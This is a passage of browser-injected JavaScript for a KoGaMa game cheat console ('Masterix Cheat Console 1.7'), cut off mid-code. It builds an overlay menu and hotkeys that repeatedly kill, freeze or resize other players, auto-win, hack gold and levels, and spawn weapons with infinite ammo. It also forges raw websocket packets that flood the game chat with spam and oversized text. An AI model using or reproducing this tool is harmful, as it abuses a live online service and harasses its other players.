		el.style=`color:${clr};background-color:#424242;
        border-top:none;
        border-right:none;
        border-left:none;
        border:none;
        border-color:#ffffff;
        border-size:0px;
        padding:2px 75px 2px 110px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('kill_box').appendChild(el);
	};
    //____________________________________________________Guns____________________________________________________//
    window.gunCheat=top.gunCheat=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:3px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('gun_box').appendChild(el);
	};
    window.gunCate=top.gunCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='gun_Cate';
		el.type='button';
		el.style=`color:${clr};background-color:#000;
        border-top:none;
        border-right:none;
        border-left:none;
        border-color:#ffffff;
        border-size:0px;
        border:none;
        padding:2px 75px 2px 110px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('gun_box').appendChild(el);
	};
    //____________________________________________________Cube Forms____________________________________________________//
    window.cubeCheat=top.cubeCheat=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:3px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('cube_box').appendChild(el);
	};
    window.cubeCate=top.cubeCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cube_Cate';
		el.type='button';
		el.style=`color:${clr};background-color:#000;
        border-top:none;
        border-right:none;
        border-left:none;
        border-color:#ffffff;
        border-size:0px;
        border:none;
        padding:2px 75px 2px 110px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('cube_box').appendChild(el);
	};
    window.creatorCheat=top.creatorCheat=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='checklist';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:0px;border:true;padding:1px;display: block;`;
		el.addEventListener('click',func);
		html('cube_box').appendChild(el);
	};
    window.okCheat=top.okCheat=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#D8D8D8;border-radius:20px;border:true;padding:1px;display: block;`;
		el.addEventListener('click',func);
		html('cube_box').appendChild(el);
	};
    window.creatorCate=top.creatorCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='creator_Cate';
		el.type='button';
		el.style=`color:${clr};background-color:#000;
        border-top:none;
        border-right:none;
        border-left:none;
        border-color:#ffffff;
        border-size:0px;
        padding:2px 75px 2px 110px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('cube_box').appendChild(el);
	};
    //____________________________________________________Cube Colors____________________________________________________//
    window.colorCheat=top.colorCheat=(name='unknown',clr='#888',func=()=>{})=>{
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:3px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('color_box').appendChild(el);
	};
    //____________________________________________________About____________________________________________________//
    window.aboutCheat=top.aboutCheat=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#39ak1f;border-radius:10px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('about_box').appendChild(el);
	};
	window.addBB=top.addBB=(name='unknown',id='unknown',box='unknown_box',choosen=0)=>{
		let el=make('div');
		el.id=box;
		el.style=`
			position:absolute;
			display:${choosen?'block':'none'};
			width:75%;height:90%;
			top:10%;
			right:0px;
		`;
		html('console').appendChild(el);
		el=make('div');
		el.id='console_bar_'+id;
		el.className='bar_element bar_element_'+(choosen?'on':'off');
		el.textContent=name;
		el.addEventListener('click',function(e){
			if(this!=html('console_bar').cur){
				html(box).style.display='block';
				html('console').cur.style.display='none';
				html('console').cur=html(box);
				this.className='bar_element bar_element_on';
				html('console_bar').cur.className='bar_element bar_element_off';
				html('console_bar').cur=this;
			}
		});
		html('console_bar').appendChild(el);
	};
	var sheet=top.document.head.appendChild(make('style')).sheet;
	sheet.insertRules=rules=>rules.replace(/\}/g,'}^').split('^').map(r=>(r.indexOf('{')+1)&&sheet.insertRule(r));
	sheet.insertRules(`
		.scroller{overflow-y:auto;}
		.scroller::-webkit-scrollbar{
			width:10px;
		}
		.scroller::-webkit-scrollbar-thumb{
			background-color:rgba(0,0,0,.4);
			-webkit-box-shadow:inset 0 0 2px rgba(0,0,0,.5);
			box-shadow:inset 0 0 2px rgba(0,0,0,.5);
		}
		.scroller::-webkit-scrollbar-track{
			background-color:#585858;
            border-radius:8px;
		}
		.scroller::-webkit-scrollbar-thumb{
			background:#000000;
            border-radius:8px;
		}
		.bar_element:hover{
			opacity:0.9;
			background:#40444bAA;
			transition-duration: 0.3s;
		}
		.bar_element{
			color:#FFF;
			line-height: 200%;
			cursor:pointer;
			height:10%;
			width:100%;
		}
		.cheat_element:hover{
			color:#FFF !important;
		}
		.bar_element_off{
			opacity:0.5;
			background:#0000;
		}
		.bar_element_on{
			opacity:1;
			background:#000000;
		}
	`);
	let el=make('div');
	top.document.body.appendChild(el);
	el.id='console';
	el.style=`
		position:fixed;
		display:none;
		z-index:9999;
        background-color:#424242;
		text-align:center;
		border-radius:5px;
        border:3px #000000 solid;
        `;
	top.addEventListener('resize',function(){
		html('console').style.width=top.outerWidth*0.35+'px';
		html('console').style.height=top.outerHeight*0.40+'px';
	});
	top.dispatchEvent(new Event('resize'));
	top.document.addEventListener('mouseup',e=>{
		if(html('console').movement){
			html('console').movement=false;
			e.preventDefault();
			e.stopPropagation();
		}
	})
	top.document.addEventListener('mousemove',e=>{
		if(html('console').movement){
			html('console').style.left=(html('console').startPos.x+e.x-html('console').startPos.mx)+'px';
			html('console').style.top=(html('console').startPos.y+e.y-html('console').startPos.my)+'px';
			if(html('console').offsetTop<0)html('console').style.top='0px';
			e.preventDefault();
			e.stopPropagation();
		}
	});
	top.document.addEventListener('contextmenu', e=>{
		if(e.target==top.document.querySelector('#profile-extended-toggle>a>i')){
			html('console').style.display='block';
			e.preventDefault();
		}
	});
	el=make('div');
	el.id='console_head';
	el.innerHTML='Masterix Cheat Console 1.7';
	el.style=`
		width:100%;height:6%;
		background-color:#000000;
		cursor:default;
		border-top-left-radius:3px;
		border-top-right-radius:3px;
	`;
	html('console').appendChild(el);
	html('console_head').addEventListener('mousedown',e=>{
		html('console').movement=true;
		html('console').startPos={x:html('console').offsetLeft,y:html('console').offsetTop,mx:e.x,my:e.y};
		e.preventDefault();
		e.stopPropagation();
	});
	el=make('input');
	el.id='console_close';
	el.type='button';
	el.value='X';
	el.style=`
		position:absolute;
		height:6%;width:5%;
		right:0px;
		background-color:${kc.red};
		color:#FFF;line-height:0.5;
		border:none;
		border-top-right-radius:3px;
	`;
	html('console_head').appendChild(el);
	html('console_close').addEventListener('mousedown',e=>{
		if(e.which==1){
			pos={x:html('console').offsetLeft,y:html('console').offsetTop};
			html('console').style.display='none';
			html('console').style.left=pos.x+'px';
			html('console').style.top=pos.y+'px';
		}
		e.preventDefault();
		e.stopPropagation();
	});
	el=make('div');
	el.id='console_bar';
	el.style=`
		position:absolute;
		top:6%;left:0px;
		width:25%;height:90%;
		background-color:#2f31zt;
	`;
	html('console').appendChild(el);

	addBB('Game Log','console','console_box',1);
	html('console').appendChild(el);
    el.placeholder='(not available)';
    consoleCheat('commands',kc.black,()=>{
var comando=prompt('Write "help" to get the command list ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  Enter a command:')//new
if(comando == 'help'){
kc.log('commands: print, masterix, ids, 999 gold, big, small, shield, ring, boost, cubegun, bazooka, impulsegun','#6ea5ff')}
if(comando == 'print'){
window.print();
}
if(comando == 'masterix'){
window.open("https://www.kogama.com/profile/666876227/")();
}
if(comando == 'ids'){
kc.log(`ID List:${JSON.stringify(kcc.names)}`,'#DF01D7');
}
if(comando == '999 gold'){
kc.goldhack();
}
if(comando == 'big'){
kc.big();
}
if(comando == 'small'){
kc.small();
}
if(comando == 'shield'){
kc.shield();
}
if(comando == 'ring'){
kc.ringeffect();
}
if(comando == 'boost'){
kc.nitro();
}
if(comando == 'cubegun'){
kc.cubegun();
}
if(comando == 'bazooka'){
kc.bazooka();
}
if(comando == 'impulsegun'){
kc.impulsegun();
}
    });
    el=make('input');
	el.id='console_input';
	html('console_box').appendChild(el);
	html('console_input').index=-1;
	html('console_input').old=[];
	html('console_input').addEventListener('keydown',function(e){
		switch(e.keyCode){
			case 13:
				if(this.value){
					kc.command(this.value);
					if(this.old[this.old.length-1]!=this.value)this.old.push(this.value);
					if(this.old>30)this.old.splice(0,1);
					this.was=undefined;
					this.index=this.old.length;
					this.value='';
				}
			break;
			case 38://up
				this.index-=2;
			case 40://down
				this.index++;
				if(this.index>this.old.length-1)this.index=this.old.length;
				if(this.index<0)this.index=0;
				if(this.index>this.old.length-1){
					if(this.was!==undefined)this.value=this.was;
					this.was=undefined;
				}else{
					if(this.was===undefined)this.was=this.value;
					this.value=this.old[this.index];
				}
			break;
		}
	});
	el=make('div');
	el.id='console_log';
	el.className='scroller';
	el.style=`
		position:absolute;
		text-align:left;
		width:100%;height:85%;
		word-break:break-all;
	`;
	html('console_box').appendChild(el);

	html('console').cur=html('console_box');
	html('console_bar').cur=html('console_bar_console');

	addBB('Players','list','cheat_box');
	html('cheat_box').className='scroller';
    let actornr = 0;
    let firstJoinData = true;
    makeCate('Other Players',kc.white);
	makeCheat('win',kc.orange,()=>kc.finish());
    makeCheat('autowin',kc.orange,()=>{//new
        if(kc.idfinish){clearInterval(kc.idfinish);kc.idfinish=0;}
        else kc.idfinish=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.finish(kcc.names[n])),5e2);//new
    });
    makeCheat('mutantkill',kc.darkred,()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.mutant_kill(kcc.names[n])));
	makeCheat('railkill',kc.darkred,()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.rail_kill(kcc.names[n])));
    makeCheat('swordkill',kc.darkred,()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.sword_kill(kcc.names[n])));
    makeCheat('slapgunkill',kc.darkred,()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.slapgun_kill(kcc.names[n])));// new
    makeCheat('shotgunkill',kc.darkred,()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.shotgun_kill(kcc.names[n])));// new
    makeCheat('automutantkill',kc.darkred,()=>{//new
        if(kc.idmutant_kill){clearInterval(kc.idmutant_kill);kc.idmutant_kill=0;}
        else kc.idmutant_kill=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.mutant_kill(kcc.names[n])),5e2);
    });
    makeCheat('autoflamethrowerkill',kc.darkred,()=>{//new
        if(kc.idflamethrower_kill){clearInterval(kc.idflamethrower_kill);kc.idflamethrower_kill=0;}
        else kc.idflamethrower_kill=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.flamethrower_kill(kcc.names[n])),5e2);
    });
	makeCheat('autofreeze',kc.darkred,()=>{
		if(kc.idFreeze){clearInterval(kc.idFreeze);kc.idFreeze=0;}
		else kc.idFreeze=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.freeze(kcc.names[n])),5e2);
	});
	makeCheat('autoheal',kc.darkgreen,()=>{
		if(kc.idHeal){clearInterval(kc.idHeal);kc.idHeal=0;}
        else kc.idHeal=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.heal(kcc.names[n])),5e2);
	});
	makeCheat('autobig',kc.darkgreen,()=>{
		if(kc.idBig){clearInterval(kc.idBig);kc.idBig=0;}
		else kc.idBig=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.big(kcc.names[n])),5e2);
	});
	makeCheat('autosmall',kc.darkgreen,()=>{
		if(kc.idSmall){clearInterval(kc.idSmall);kc.idSmall=0;}
		else kc.idSmall=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.small(kcc.names[n])),5e2);
	});
    makeCate('You Player',kc.white);
    makeCheat(' i ',kc.black,()=>{
    window.alert('Press Flyspeed 1 + 2 for working!')
    });
    makeCheat('big',kc.darkgreen,()=>kc.big());
    makeCheat('small',kc.darkgreen,()=>kc.small());
    makeCheat('heal',kc.darkgreen,()=>kc.heal())
    makeCheat('freeze',kc.darkgreen,()=>kc.freeze());//new
    makeCheat('flyspeed(1)',kc.black,()=>kc.big());
    makeCheat('flyspeed(2)',kc.black,()=>kc.ringeffect());
    makeCheat('shield',kc.purple,()=>kc.shield());//new
    makeCheat("ringeffect",kc.purple,()=>kc.ringeffect());//new
    makeCheat('boost',kc.purple,()=>kc.nitro());//new
    makeCheat('nofall',kc.darkyellow,()=>{
		if(kc.idNofall){clearInterval(kc.idNofall);kc.idNofall=0;}
		else kc.idNofall=setInterval(()=>Object.keys(kcc.names).map(n=>kc.nofall(kcc.self[n])),1e2);
    });
    makeCheat('freezeAnimation',kc.darkred,()=>{
		if(kc.idfreezeAni){clearInterval(kc.idfreezeAni);kc.idfreezeAni=0;}
		else kc.idfreezeAni=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.freezeAni(kcc.names[n])),5e2);
	});
    makeCheat('Immortality',kc.orange,()=>{//improved
        if(kc.idHeal){clearInterval(kc.idHeal);kc.idHeal=0;}
        else kc.idHeal=setInterval(()=>Object.keys(kcc.names).map(n=>kc.heal(kcc.self[n])),2e2);
        if(kc.idpause){clearInterval(kc.idpause);kc.idpause=0;}
		else kc.idpause=setInterval(()=>Object.keys(kcc.names).map(n=>kc.fast(kcc.self[n])),2e2);
	});
    makeCheat('you',kc.black,()=>window.open("https://www.kogama.com/profile/me/")());//new
    makeCate('Teams',kc.white);
    makeCheat('team blue',kc.darkblue,()=>kc.tblue());
    makeCheat('team red',kc.darkred,()=>kc.tred());
    makeCheat('team green',kc.darkgreen,()=>kc.tgreen());
    makeCheat('team yellow',kc.darkyellow,()=>kc.tyellow());
    makeCheat('team white',kc.black,()=>kc.twhite());
    makeCheat('team none',kc.blue,()=>kc.tnull());//new
    makeCheat('TeamAnimation',kc.purple,()=>{//new
		if(kc.idtred){clearInterval(kc.idtred);kc.idtred=0;}
		else kc.idtred=setInterval(()=>Object.keys(kcc.names).map(n=>kc.tred(kcc.self[n])),3.01e2);
        if(kc.idtblue){clearInterval(kc.idtblue);kc.idtblue=0;}
		else kc.idtblue=setInterval(()=>Object.keys(kcc.names).map(n=>kc.tblue(kcc.self[n])),3.02e2);
        if(kc.idtgreen){clearInterval(kc.idtgreen);kc.idtgreen=0;}
		else kc.idtgreen=setInterval(()=>Object.keys(kcc.names).map(n=>kc.tgreen(kcc.self[n])),3.03e2);
        if(kc.idtyellow){clearInterval(kc.idtyellow);kc.idtyellow=0;}
		else kc.idtyellow=setInterval(()=>Object.keys(kcc.names).map(n=>kc.tyellow(kcc.self[n])),3.04e2);
	});
    makeCate('Levels',kc.white);
    makeCheat(' i ',kc.black,()=>{
    window.alert('Levels only visible to others.')
    });
    makeCheat('LevelUp',kc.darkblue,()=>kc.levelup());//new
    makeCheat('noLevel',kc.black,()=>{
        if(kc.idsetLevel1){clearInterval(kc.idsetLevel1);kc.idsetLevel1=0;}
        else kc.idsetLevel=setInterval(()=>Object.keys(kcc.names).map(n=>kc.setLevel1(kcc.names[n])),5e2);
        if(kc.idsetLevel2){clearInterval(kc.idsetLevel2);kc.idsetLevel2=0;}
        else kc.idsetLevel2=setInterval(()=>Object.keys(kcc.names).map(n=>kc.setLevel2(kcc.names[n])),5e2);
    });
    makeCheat('Level 1',kc.darkblue,()=>kc.setLevel1());//new
    makeCheat('Level 6',kc.purple,()=>kc.setLevel6());//new
    makeCheat('Level 11',kc.darkgreen,()=>kc.setLevel11());//new
    makeCheat('Level 16',kc.black,()=>kc.setLevel16());//new
    makeCheat('Level 21',kc.darkyellow,()=>kc.setLevel21());//new
    makeCheat('Level 26',kc.red,()=>kc.setLevel26());//new
    makeCheat('Level 31',kc.black,()=>kc.setLevel31());//new
    makeCheat('Level 36',kc.darkred,()=>kc.setLevel36());//new
    makeCheat('Level 41',kc.darkblue,()=>kc.setLevel41());//new
    makeCheat('Level 45',kc.darkblue,()=>kc.setLevel45());//new
    levelCheat('Levels',kc.black,()=>{
     var comando=prompt('Select Level number (1-45)')
         if(comando == '1'){
kc.setLevel1();
}
         if(comando == '2'){
kc.setLevel2();
}
         if(comando == '3'){
kc.setLevel3();
}
         if(comando == '4'){
kc.setLevel4();
}
         if(comando == '5'){
kc.setLevel5();
}
         if(comando == '6'){
kc.setLevel6();
}
         if(comando == '7'){
kc.setLevel7();
}
         if(comando == '8'){
kc.setLevel8();
}
         if(comando == '9'){
kc.setLevel9();
}
         if(comando == '10'){
kc.setLevel10();
}
         if(comando == '11'){
kc.setLevel11();
}
         if(comando == '12'){
kc.setLevel12();
}
         if(comando == '13'){
kc.setLevel13();
}
         if(comando == '14'){
kc.setLevel14();
}
         if(comando == '15'){
kc.setLevel15();
}
         if(comando == '16'){
kc.setLevel16();
}
         if(comando == '17'){
kc.setLevel17();
}
         if(comando == '18'){
kc.setLevel18();
}
         if(comando == '19'){
kc.setLevel19();
}
         if(comando == '20'){
kc.setLevel20();
}
         if(comando == '21'){
kc.setLevel21();
}
         if(comando == '22'){
kc.setLevel22();
}
         if(comando == '23'){
kc.setLevel23();
}
         if(comando == '24'){
kc.setLevel24();
}
         if(comando == '25'){
kc.setLevel25();
}
         if(comando == '26'){
kc.setLevel26();
}
         if(comando == '27'){
kc.setLevel27();
}
         if(comando == '28'){
kc.setLevel28();
}
         if(comando == '29'){
kc.setLevel29();
}
         if(comando == '30'){
kc.setLevel30();
}
         if(comando == '31'){
kc.setLevel31();
}
         if(comando == '32'){
kc.setLevel32();
}
         if(comando == '33'){
kc.setLevel33();
}
         if(comando == '34'){
kc.setLevel34();
}
         if(comando == '35'){
kc.setLevel35();
}
         if(comando == '36'){
kc.setLevel36();
}
         if(comando == '37'){
kc.setLevel37();
}
         if(comando == '38'){
kc.setLevel38();
}
         if(comando == '39'){
kc.setLevel39();
}
         if(comando == '40'){
kc.setLevel40();
}
         if(comando == '41'){
kc.setLevel41();
}
         if(comando == '42'){
kc.setLevel42();
}
         if(comando == '43'){
kc.setLevel43();
}
         if(comando == '44'){
kc.setLevel44();
}
         if(comando == '45'){
kc.setLevel45();
}
if(comando == null){
alert('Please enter a level.','#ff1e00')
}
if(comando == ''){
alert('Please enter a level.','#ff1e00')
}
});

//__________________________________________________________________________________HOTKEYS__________________________________________________________________________________//
	document.addEventListener('keydown',e=>{
		switch(e.key){
            case '*':
				kc.big();
			break;
            case '/':
				kc.small();
			break;
            case '1':
				kc.heal();
            break;
            case '2':
				kc.freeze();
            break;
            case '5':
				kc.tblue();
			break;
            case '6':
				kc.tred();
			break;
            case '7':
				kc.tgreen();
			break;
			case '8':
				kc.tyellow();
			break;
            case '9':
				kc.twhite();
			break;
            case '0':
				kc.cubegun();
			break;
            case 'ß':
				kc.shield();
			break;
            case 'B':
				kc.bazooka();
			break;
            case 'I':
				kc.impulsegun();
			break;
                case 'L':
				kc.mousegun();
			break;
                case 'Insert':
    var spamEncoder = new TextEncoder();
                var spamCode = spamEncoder.encode('<color=#000000>Chatspam by Masterix.</color>');
                var spamCode2 = spamEncoder.encode('<color=#0101DF>Chatspam by Masterix.</color>');
                var spamCode3 = spamEncoder.encode('<color=red>Chatspam by Masterix.</color>');
                var spamCode4 = spamEncoder.encode('<color=#01DF01>Chatspam by Masterix.</color>');
                var spamCode5 = spamEncoder.encode('<color=#D7DF01>Chatspam by Masterix.</color>');
                var spamCode6 = spamEncoder.encode('<color=#FFFFFF>Chatspam by Masterix.</color>');
                var spamCode7 = spamEncoder.encode('<color=#000000>Chatspam by Masterix.</color>');
                var spamCode8 = spamEncoder.encode('<color=#0101DF>Chatspam by Masterix.</color>');
                var spamCode9 = spamEncoder.encode('<color=red>Chatspam by Masterix.</color>');
                var spamCode10 = spamEncoder.encode('<color=#01DF01>Chatspam by Masterix.</color>');
                var spamCode11 = spamEncoder.encode('<color=#D7DF01>Chatspam by Masterix.</color>');
                var spamCode12 = spamEncoder.encode('<color=#FFFFFF>Chatspam by Masterix.</color>');
                var spamCode13 = spamEncoder.encode('<color=#000000>Chatspam by Masterix.</color>');
                var spamCode14 = spamEncoder.encode('<color=#0101DF>Chatspam by Masterix.</color>');
                var spamCode15 = spamEncoder.encode('<color=red>Chatspam by Masterix.</color>');
                var spamCode16 = spamEncoder.encode('<color=#01DF01>Chatspam by Masterix.</color>');
                var spamCode17 = spamEncoder.encode('<color=#D7DF01>Chatspam by Masterix.</color>');
                var spamCode18 = spamEncoder.encode('<color=#FFFFFF>Chatspam by Masterix.</color>');
    var spamLength = spamCode.length
    var spamLength2 = spamCode2.length
    var spamLength3 = spamCode3.length
    var spamLength4 = spamCode4.length
    var spamLength5 = spamCode5.length
    var spamLength6 = spamCode6.length
    var spamLength7 = spamCode7.length
    var spamLength8 = spamCode8.length
    var spamLength9 = spamCode9.length
    var spamLength10 = spamCode10.length
    var spamLength11 = spamCode11.length
    var spamLength12 = spamCode12.length
    var spamLength13 = spamCode7.length
    var spamLength14 = spamCode8.length
    var spamLength15 = spamCode9.length
    var spamLength16 = spamCode10.length
    var spamLength17 = spamCode11.length
    var spamLength18 = spamCode12.length
    var spammer = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength,...spamCode];
    var spammer2 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength2,...spamCode2];
    var spammer3 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength3,...spamCode3];
    var spammer4 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength4,...spamCode4];
    var spammer5 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength5,...spamCode5];
    var spammer6 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength6,...spamCode6];
    var spammer7 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength7,...spamCode7];
    var spammer8 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength8,...spamCode8];
    var spammer9 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength9,...spamCode9];
    var spammer10 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength10,...spamCode10];
    var spammer11 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength11,...spamCode11];
    var spammer12 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength12,...spamCode12];
    var spammer13 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength7,...spamCode7];
    var spammer14 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength8,...spamCode8];
    var spammer15 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength9,...spamCode9];
    var spammer16 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength10,...spamCode10];
    var spammer17 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength11,...spamCode11];
    var spammer18 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength12,...spamCode12];
    kcc.ws.send(new Uint8Array(spammer))
    kcc.ws.send(new Uint8Array(spammer2))
    kcc.ws.send(new Uint8Array(spammer3))
    kcc.ws.send(new Uint8Array(spammer4))
    kcc.ws.send(new Uint8Array(spammer5))
    kcc.ws.send(new Uint8Array(spammer6))
    kcc.ws.send(new Uint8Array(spammer7))
    kcc.ws.send(new Uint8Array(spammer8))
    kcc.ws.send(new Uint8Array(spammer9))
    kcc.ws.send(new Uint8Array(spammer10))
    kcc.ws.send(new Uint8Array(spammer11))
    kcc.ws.send(new Uint8Array(spammer12))
    kcc.ws.send(new Uint8Array(spammer13))
    kcc.ws.send(new Uint8Array(spammer14))
    kcc.ws.send(new Uint8Array(spammer15))
    kcc.ws.send(new Uint8Array(spammer16))
    kcc.ws.send(new Uint8Array(spammer17))
    kcc.ws.send(new Uint8Array(spammer18))
            break;
                case 'Delete':
    var spamEncoder = new TextEncoder();
                var spamCode = spamEncoder.encode('<size=9999> < </size>');
                var spamCode2 = spamEncoder.encode('<size=9999> < </size>');
                var spamCode3 = spamEncoder.encode('<size=9999> < </size>');
                var spamCode4 = spamEncoder.encode('<size=9999> < </size>');
                var spamCode5 = spamEncoder.encode('<size=9999> < </size>');
                var spamCode6 = spamEncoder.encode('<size=9999> < </size>');
    var spamLength = spamCode.length
    var spamLength2 = spamCode2.length
    var spamLength3 = spamCode3.length
    var spamLength4 = spamCode4.length
    var spamLength5 = spamCode5.length
    var spamLength6 = spamCode6.length
    var spammer = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength,...spamCode];
    var spammer2 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength2,...spamCode2];
    var spammer3 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength3,...spamCode3];
    var spammer4 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength4,...spamCode4];
    var spammer5 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength5,...spamCode5];
    var spammer6 = [243,2,88,0,2,87,105,0,0,0,3,88,68,0,0,0,2,98,0,105,0,0,0,1,98,5,115,0,spamLength6,...spamCode6];
    kcc.ws.send(new Uint8Array(spammer))
    kcc.ws.send(new Uint8Array(spammer2))
    kcc.ws.send(new Uint8Array(spammer3))
    kcc.ws.send(new Uint8Array(spammer4))
    kcc.ws.send(new Uint8Array(spammer5))
    kcc.ws.send(new Uint8Array(spammer6))
            break;
        }
    });
    //------------------------------------------------------Guns
    addBB('Guns','list','gun_box');
	html('gun_box').className='scroller';
    gunCheat(' i ',kc.black,()=>{
    window.alert('Disable the gun you were using to be able to select a new one.')
    });
    gunCate('Spawn Weapons',kc.white);
    gunCheat('cubegun',kc.darkblue,()=>kc.cubegun());
    gunCheat('impulsegun',kc.black,()=>kc.impulsegun());
    gunCheat('mousegun',kc.black,()=>kc.mousegun());
    gunCheat('bazooka',kc.red,()=>kc.bazooka());
    gunCheat('bazooka2',kc.red,()=>kc.bazooka2());//new
    gunCheat('healgun',kc.black,()=>kc.healgun());
    gunCheat('shotgun',kc.black,()=>kc.shotgun());
    gunCheat('growthgun',kc.black,()=>kc.growthgun());
    gunCheat('railgun',kc.black,()=>kc.railgun());//new
    gunCheat('centralgun',kc.black,()=>kc.centralgun());//new
    gunCheat('sword',kc.black,()=>kc.sword());//new
    gunCheat('pistol',kc.black,()=>kc.pistol());//new
    gunCheat('pistol2x',kc.black,()=>kc.pistol2x());//new
    gunCheat('flamethrower',kc.black,()=>kc.flamethrower());//new
    gunCheat('shuriken',kc.black,()=>kc.shuriken());//new
    gunCheat('shuriken5x',kc.black,()=>kc.shuriken5x());//new
    gunCheat('slapgun',kc.black,()=>kc.slapgun());//new
    gunCate('Infinitie Ammo',kc.white);
    gunCheat('INFcubegun',kc.purple,()=>{
		if(kc.idcubegun){clearInterval(kc.idcubegun);kc.idcubegun=0;}
		else kc.idcubegun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.cubegun(kcc.names[n])),5e2);
	});// new
    gunCheat('INFbazooka',kc.purple,()=>{
		if(kc.idbazooka){clearInterval(kc.idbazooka);kc.idbazooka=0;}
		else kc.idbazooka=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.bazooka(kcc.names[n])),5e2);
	});// new
    gunCheat('INFshotgun',kc.purple,()=>{
		if(kc.idshotgun){clearInterval(kc.idshotgun);kc.idshotgun=0;}
